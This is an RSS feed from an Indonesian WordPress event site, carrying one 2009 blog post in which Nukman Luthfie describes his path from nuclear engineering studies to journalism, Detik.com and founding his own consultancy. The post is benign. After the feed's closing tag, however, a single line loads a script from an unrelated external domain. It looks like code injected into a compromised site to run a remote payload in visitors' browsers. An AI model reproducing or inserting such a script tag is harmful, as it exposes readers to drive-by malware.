



















































































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Milad 2 TDA NGalam &#187; Agrakom</title>
	<atom:link href="http://milad.tdangalam.com/tag/agrakom/feed/" rel="self" type="application/rss+xml" />
	<link>http://milad.tdangalam.com</link>
	<description>Membangun Visi, Menembus Imajinasi</description>
	<lastBuildDate>Thu, 06 Aug 2009 10:23:55 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Nukman Luthfie: Tersesat di Jalan yang Benar</title>
		<link>http://milad.tdangalam.com/2009/07/20/nukman-luthfie/</link>
		<comments>http://milad.tdangalam.com/2009/07/20/nukman-luthfie/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 03:07:12 +0000</pubDate>
		<dc:creator>panitia</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Agrakom]]></category>
		<category><![CDATA[entrepereneurship]]></category>
		<category><![CDATA[Gadjah Mada]]></category>
		<category><![CDATA[intrapreneurship]]></category>
		<category><![CDATA[MetroTV]]></category>
		<category><![CDATA[Nukman Luthfie]]></category>
		<category><![CDATA[Teknik Nuklir UGM. Detik.com]]></category>
		<category><![CDATA[tersesat di jalan yang benar]]></category>
		<category><![CDATA[Virtual Consulting]]></category>
		<category><![CDATA[Wimar Wintular]]></category>

		<guid isPermaLink="false">http://milad.tdangalam.com/?p=320</guid>
		<description><![CDATA[Itulah jawaban yang seringkali saya utarakan ketika ditanya banyak orang kenapa saya,  sarjana Teknik Nuklir Universitas Gadjah Mada Jogjakarta, kemudian malah terjun di dunia online dan merintis jalan pengusaha.  Jawaban serupa saya sampaikan ke tim Inspirasi Pagi MetroTV yang ditayangkan Minggu pagi, 5 Juli 2009. *“Saya tersesat di jalan yang benar,”* kata saya [...]]]></description>
			<content:encoded><![CDATA[<div class="wp-caption alignleft" style="width: 330px"><a href="http://www.virtual.co.id/blog/wp-content/uploads/2007/03/metro.jpg"><img src="http://www.virtual.co.id/blog/wp-content/uploads/2007/03/metro.jpg" alt="" width="320" height="240" /></a><p class="wp-caption-text">Nukman Luthfie (ke-2 dari kiri)</p></div>
<p>Itulah jawaban yang seringkali saya utarakan ketika ditanya banyak orang kenapa saya,  sarjana Teknik Nuklir Universitas Gadjah Mada Jogjakarta, kemudian malah terjun di dunia online dan merintis jalan pengusaha.  Jawaban serupa saya sampaikan ke tim Inspirasi Pagi MetroTV yang ditayangkan Minggu pagi, 5 Juli 2009. *“Saya tersesat di jalan yang benar,”* kata saya sambil tersenyum. Tentu ini jawaban paradox:  mana ada tersesat kok di jalan yang benar.</p>
<p>Tapi itulah yang sesungguhnya terjadi. Dulu, setelah lulus Sekolah Menengah Atas, saya tidak punya cita-cita yang jelas. Barangkali, kebanyakan lulusan SMA seperti itu. Namun sebagaimana layaknya anak sekolahan, dan sebagaimana yang diinginkan kebanyakan orang tua, Perguruan Tinggi (PT) adalah persinggahan berikutnya setelah SMA. Maka saya pun mendaftarkan diri ke PT yang saya anggap paling top pada tahun 1983, dan jurusan yang paling pas dengan jurusan IPA di SMA. Plus, biar kelihatan keren, saya memilih Teknik Nuklir UGM, yang waktu itu masih terdengar aneh, tanpa tahu kelak jadi apa. Saya diterima bersama sekitar 40-an lulusan SMA dari berbagai kota di negeri ini.</p>
<p>Sesungguhnya saya tidak bodoh. Namun fakta menunjukkan, bahwa saya lulus Teknik Nuklir dengan IP saya amat rendah: hanya 2,19 (ya, dua koma sembilan belas). Itu pun setelah menghabiskan waktu tujuh tahun, selisih 2,5 tahun dari waktu normal. Tidak perlu saya cari berbagai alasan, termasuk harus membiayai sendiri kuliah dan mencari sesuap nasi untuk kehidupan sehari-hari.</p>
<p>Tentu saja, dengan nilai akademis serendah itu, bekerja di Batan (Badan Tenaga Atom Nasional) atau lembaga sejenis, adalah sesuatu yang mustahil.<br />
Maka terjunlah saya ke dunia tulis menulis, sesuatu yang amat saya sukai sejak kuliah.  Sepekan sekali, seusai kuliah, saya coba menulis artikel ilmiah populer.  Meski nilai akademis rendah, saya bisa menulis ilmiah populer materi-materi kuliah mengenai ketekniknukliran yang tanpa edit ulang dimuat di berbagai media cetak. Antara lain, dari aktivitas menulis itulah saya membiayai hidup dan kuliah di Jogjakarta.</p>
<p>Dengan bakat itulah saya mudah beradaptasi di dunia jurnalistik, mulai dari Bisnis Indonesia, Prospek dan terakhir di majalah SWA sebagai redaktur senior. Menjadi wartawan dan penulis bisnis di tiga media itu membuka banyak cakrawala. Bukan hanya ilmu tentang ekonomi dan bisnis, tetapi mendapat banyak insight dan semangat dari para pelaku bisnis bagaimana mereka membangun bisnisnya, masalah apa yang mereka hadapi, bagaimana mereka berjibaku mengatasi masalah, bagaimana membangun leadership dan sejenisnya.<br />
Maka ketika saya dipinang oleg Agrakom  pada 1995, yang kemudian menelorkan portal paling hebat saat ini, Detik.com, untuk bergabung, saya langsung mengiyakan. Ilmu-ilmu yang saya dapat susah memberontak untuk dipraktikkan.</p>
<p>Di Agrakom, semula saya hanya dibutuhan untuk mempelajari hal-hal baru di Internet, kemudian saya tulis di situs webnya, agar dipahami oleh karyawan Agrakom lain dan kliennya. Harap diingat, saat ini Internet masih mahluk aneh dan tak banyak yang paham apa dan bagaimana memanfaatkannya. Dengan latar belakang pendidikan Teknik Nuklir, saya relatif mudah memahami hal-hal baru di Internet, dan dengan kemampuan menulis ilmiah populer mempermudah saya menuliskannya secara sederhana di situs web Agrakom.</p>
<p>Dalam tempo cepat akhirnya saya ditasbihkan menjadi Direktur Internet<a href="http://penjurian.blog.telkomspeedy.com/wp-content/plugins/wp-o-matic/cache/2cf47_logo-detikcom-1501.png"><img class="alignright" src="http://penjurian.blog.telkomspeedy.com/wp-content/plugins/wp-o-matic/cache/2cf47_logo-detikcom-1501.png" alt="" width="150" height="84" /></a>Service perusahaan pengembang web pertama di Indonesia itu. Tak lama kemudian saya juga dipercaya untuk membidani perusahaan Public Relations yang mengkhususkan diri di bidang IT, bersama Hana Budiono, bernama Agrakom Public Relations. Begitu Detik.com lahir, saya langsung membantu mencarikan iklan, dan akhirnya diangkat sebagai Direktur Marketing Detik.com. Setahun kemudian saya juga merangkap sebagai Direktur IT portal tersebut.</p>
<p>Menulis, Internet, managerialship, memahami bisnis plus jiwa intrapreneurership rupanya merupakan kombinasi dahsyat. Ini yang terasah selama delapan tahun di Agrakom, Agrakom PR dan Detikcom. Lima faktor inilah (menulis, Internet, managerialship, memahami bisnis dan jiwa intrapreneurership) yang mendorong saya untuk terjun sendiri membangun Virtual Consulting  pada tahun 2003. Sejak saat itu, faktor kelima berubah dari *intrapreneurship* menjadi *entrepereneurship*.<br />
Saya membangun bendera saya sendiri dengan segala risikonya. Alhamdulillah, setelah enam tahun, dengan segala suka dukanya, dengan dukungan seluruh tim Virtual Consulting, berdera itu berkibar dengan baik.</p>
<p>Jalan berliku sejak SMA, masuk PT, dan bekerja sebagai jurnalis hingga sekarang ini merupakan proses yang harus dilalui, yang berujung pada sebuah kesimpulan: ya saya sudah berada di jalur yang benar. Bukan berarti jalur yang dulu itu tidak benar.  Tanpa jalur yang dulu, belum tentu saya sampai ke titik sekarang. Itu sebabnya saya sering berkelakar, *saya tersesat di jalan yang benar.* “Tersesat” dari tidak punya cita-cita sejak SMA dan latar belakang pendidikan yang tidak nyambung dengan bisnis yang digeluti, menuju titik yang sekarang, sebagai pengusaha online dan online srategist.</p>
<p>Apa boleh buat, akhirnya saya menyimpulkan: *tidak penting apa latar belakang pendidikanmu, yang jauh lebih penting adalah dapat menjadi apa dirimu dengan segala bakat dan minatmu*.</p>
<p><a href="http://www.virtual.co.id/blog" target="_blank">Nukman Luthfie</a><br />
Pembicara <a href="http://milad.tdangalam.com/">Milad2TDAnGalam</a></p>
]]></content:encoded>
			<wfw:commentRss>http://milad.tdangalam.com/2009/07/20/nukman-luthfie/feed/</wfw:commentRss>
		<slash:comments>1499</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>